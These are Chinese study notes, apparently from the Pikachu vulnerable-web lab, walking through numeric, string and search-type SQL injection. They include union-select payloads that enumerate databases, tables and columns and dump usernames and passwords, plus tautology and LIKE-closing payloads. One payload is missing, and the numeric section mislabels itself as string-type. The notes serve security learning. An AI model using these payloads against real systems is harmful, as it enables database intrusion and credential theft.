pikachu学习——sql注入部分
数字型注入
用burpsuite进行抓包
发现变量为id,因为是字符型所以构造payload为
发现并没有报错,说明有两个字段
之后要获取显示位,使用union select 1,2去实验
发现1和2都回显了
在1或者2上面构造payload
按照下面的步骤来进行注入:
获取数据库:
union select 1,group_concat(schema_name) from information_schema.schemata --+
获取数据库表:
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取表中所有字段:
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
获取数据:
union select username,password from users limit 0,1 --+
字符型注入
通过' or '1'='1
就可以把数据库都爆出来
其余的思路跟数字型差不多
搜索型注入
可以猜想后台使用了数据库中的搜索这个逻辑,比如用了LIKE
例如:select * from 表名 where username like '%$name%'
所以我们可以闭合前面的%和'
payload为:xx%' and 1=1#
说明注入成功
后面尝试的payload为:
ke%' union select 1,user(),database() #
后面的步骤和前面的类型相似